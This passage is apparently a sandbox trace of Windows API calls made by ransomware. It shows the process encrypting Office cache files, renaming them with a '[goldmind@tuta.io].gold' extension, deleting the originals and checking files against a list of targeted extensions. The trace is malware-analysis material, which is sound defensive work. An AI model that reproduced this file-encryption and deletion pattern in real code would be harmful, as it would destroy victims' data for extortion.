lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0034.918] GetLastError () returned 0x0 [0034.918] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x91975, lpOverlapped=0x0) returned 1 [0034.931] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x91980, lpOverlapped=0x0) returned 1 [0034.939] ReadFile (in: hFile=0x19c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0034.939] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.939] SetEndOfFile (hFile=0x1a0) returned 1 [0034.939] CloseHandle (hObject=0x1a0) returned 1 [0034.944] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0034.944] SetEndOfFile (hFile=0x19c) returned 1 [0034.948] CloseHandle (hObject=0x19c) returned 1 [0034.948] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.948] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0034.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.948] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.948] lstrlenW (lpString=".doc") returned 4 [0034.948] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".docx") returned 5 [0034.949] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.949] lstrlenW (lpString=".pdf") returned 4 [0034.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".xls") returned 4 [0034.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".xlsx") returned 5 [0034.949] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.949] lstrlenW (lpString=".ppt") returned 4 [0034.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".zip") returned 4 [0034.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.949] lstrlenW (lpString=".rar") returned 4 [0034.949] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".bz2") returned 4 [0034.949] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".7z") returned 3 [0034.949] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".dbf") returned 4 [0034.949] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".1cd") returned 4 [0034.949] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".jpg") returned 4 [0034.949] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".doc") returned 4 [0034.949] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".docx") returned 5 [0034.949] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.949] lstrlenW (lpString=".pdf") returned 4 [0034.949] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".xls") returned 4 [0034.949] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".xlsx") returned 5 [0034.949] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.949] lstrlenW (lpString=".ppt") returned 4 [0034.949] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.949] lstrlenW (lpString=".zip") returned 4 [0034.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.949] lstrlenW (lpString=".rar") returned 4 [0034.949] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".bz2") returned 4 [0034.949] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.949] lstrlenW (lpString=".7z") returned 3 [0034.949] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.949] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.950] lstrlenW (lpString=".dbf") returned 4 [0034.950] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.950] lstrlenW (lpString=".1cd") returned 4 [0034.950] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0034.950] lstrlenW (lpString=".jpg") returned 4 [0034.950] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.950] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.950] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0034.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.950] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=819) returned 1 [0034.950] CloseHandle (hObject=0x19c) returned 1 [0034.950] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0034.950] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.188] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.188] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.188] GetLastError () returned 0x0 [0035.188] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x333, lpOverlapped=0x0) returned 1 [0035.217] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.217] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0035.217] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.217] SetEndOfFile (hFile=0x1ac) returned 1 [0035.218] CloseHandle (hObject=0x1ac) returned 1 [0035.218] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.218] SetEndOfFile (hFile=0x1a8) returned 1 [0035.219] CloseHandle (hObject=0x1a8) returned 1 [0035.219] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.219] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0035.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.219] lstrlenW (lpString=".doc") returned 4 [0035.219] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.219] lstrlenW (lpString=".docx") returned 5 [0035.219] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.219] lstrlenW (lpString=".pdf") returned 4 [0035.219] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.219] lstrlenW (lpString=".xls") returned 4 [0035.219] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".xlsx") returned 5 [0035.220] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.220] lstrlenW (lpString=".ppt") returned 4 [0035.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".zip") returned 4 [0035.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.220] lstrlenW (lpString=".rar") returned 4 [0035.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".bz2") returned 4 [0035.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".7z") returned 3 [0035.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".dbf") returned 4 [0035.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".1cd") returned 4 [0035.220] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".jpg") returned 4 [0035.220] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".doc") returned 4 [0035.220] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".docx") returned 5 [0035.220] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.220] lstrlenW (lpString=".pdf") returned 4 [0035.220] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".xls") returned 4 [0035.220] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".xlsx") returned 5 [0035.220] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.220] lstrlenW (lpString=".ppt") returned 4 [0035.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".zip") returned 4 [0035.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.220] lstrlenW (lpString=".rar") returned 4 [0035.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".bz2") returned 4 [0035.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString=".7z") returned 3 [0035.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".dbf") returned 4 [0035.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".1cd") returned 4 [0035.220] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.220] lstrlenW (lpString=".jpg") returned 4 [0035.220] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.221] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.221] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0035.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.221] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=819) returned 1 [0035.221] CloseHandle (hObject=0x1a8) returned 1 [0035.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0035.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.221] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.221] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.221] GetLastError () returned 0x0 [0035.222] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x333, lpOverlapped=0x0) returned 1 [0035.223] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.223] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0035.223] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.223] SetEndOfFile (hFile=0x1ac) returned 1 [0035.223] CloseHandle (hObject=0x1ac) returned 1 [0035.224] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.224] SetEndOfFile (hFile=0x1a8) returned 1 [0035.225] CloseHandle (hObject=0x1a8) returned 1 [0035.225] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0035.225] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0035.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.225] lstrlenW (lpString=".doc") returned 4 [0035.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.225] lstrlenW (lpString=".docx") returned 5 [0035.225] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.225] lstrlenW (lpString=".pdf") returned 4 [0035.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.225] lstrlenW (lpString=".xls") returned 4 [0035.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.225] lstrlenW (lpString=".xlsx") returned 5 [0035.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.226] lstrlenW (lpString=".ppt") returned 4 [0035.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".zip") returned 4 [0035.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.226] lstrlenW (lpString=".rar") returned 4 [0035.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".bz2") returned 4 [0035.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".7z") returned 3 [0035.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".dbf") returned 4 [0035.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".1cd") returned 4 [0035.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".jpg") returned 4 [0035.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".doc") returned 4 [0035.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".docx") returned 5 [0035.226] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.226] lstrlenW (lpString=".pdf") returned 4 [0035.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".xls") returned 4 [0035.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".xlsx") returned 5 [0035.226] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.226] lstrlenW (lpString=".ppt") returned 4 [0035.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".zip") returned 4 [0035.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.226] lstrlenW (lpString=".rar") returned 4 [0035.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".bz2") returned 4 [0035.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString=".7z") returned 3 [0035.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".dbf") returned 4 [0035.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".1cd") returned 4 [0035.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.226] lstrlenW (lpString=".jpg") returned 4 [0035.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.227] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0035.227] lstrlenW (lpString="Setup.xml") returned 9 [0035.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.227] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2624) returned 1 [0035.227] CloseHandle (hObject=0x1a8) returned 1 [0035.227] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.227] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0035.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0035.227] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0035.227] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 